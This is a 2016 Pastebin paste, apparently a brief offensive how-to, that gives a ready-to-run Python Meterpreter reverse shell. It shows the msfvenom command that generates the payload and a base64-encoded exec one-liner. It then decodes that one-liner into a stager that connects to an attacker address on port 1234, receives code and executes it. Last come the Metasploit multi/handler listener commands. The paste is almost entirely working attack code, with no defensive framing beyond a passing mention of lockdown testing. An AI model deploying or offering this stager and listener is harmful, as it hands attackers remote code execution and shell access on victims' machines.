Advertisement
johnmahugu

vaye- python Meterpreter Reverse Shell 01 may2016

May 1st, 2016
296
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.20 KB | None | 0 0
  1. python Meterpreter Reverse Shell
  2. by john mahugu
  3.  
  4. So not so recently support was added to metasploit for a native python meterpreter. The cool thing about this is that the victim only needs to execute a few small lines of code.
  5.  
  6. This means that if you’re performing a local lockdown test and manage to get access to a python shell it wont take much more effort to turn this into a meterpreter session.
  7.    
  8. msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234
  9. import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))
  10.  
  11. This is just simply python code that is base64 encoded:
  12.  
  13.    
  14. import socket,struct
  15. s=socket.socket(2,1)
  16. s.connect(('192.168.90.1',1234))
  17. l=struct.unpack('>I',s.recv(4))[0]
  18. d=s.recv(4096)
  19. while len(d)!=l:
  20.     d+=s.recv(4096)
  21. exec(d,{'s':s})"
  22.  
  23. Then you just need to set up the listener within metasploit and hey presto!
  24.  
  25.    
  26. msf3> use exploit/multi/handler
  27. msf3> set payload python/meterpreter/reverse_tcp
  28. msf3> set LHOST 192.168.90.1
  29. msf3> exploit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement